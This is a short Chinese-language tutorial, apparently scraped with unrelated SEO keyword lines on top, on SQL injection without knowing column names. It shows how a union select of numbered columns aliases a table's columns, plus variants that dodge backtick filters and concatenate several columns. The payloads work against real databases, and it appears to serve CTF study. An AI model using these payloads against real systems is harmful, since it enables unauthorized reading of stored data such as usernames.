2026/6/5 6:56:29
网站建设
项目流程
用pyton可以做网站吗,wordpress 文章置顶显示,海报设计大赛,如何用书签 做网站接口参考https://err0r.top/article/mardasctf/ 这是一张table表
假设在不知道列名的情况下#xff0c;我们想查询一下列的内容 select 1,2,3,4,5 union select * from table; 这里的列数是需要猜测的
执行语句后 可以看到这里所有的列名都变成了数字#xff0c;那么接下来想要…参考https://err0r.top/article/mardasctf/这是一张table表假设在不知道列名的情况下我们想查询一下列的内容select 1,2,3,4,5 union select * from table;这里的列数是需要猜测的执行语句后可以看到这里所有的列名都变成了数字那么接下来想要查询列的话select 2 from (select 1,2,3,4,5 union select * from table)a;这样就查询到了原来username列的数据如果反引号被过滤select a from (select 1,2 as a,3,4,5 union select * from table)a;如果想同时查询多个列select concat(b,0x2d,c) from (select 1,2 as b,3 as c,4,5 union select * from table)a;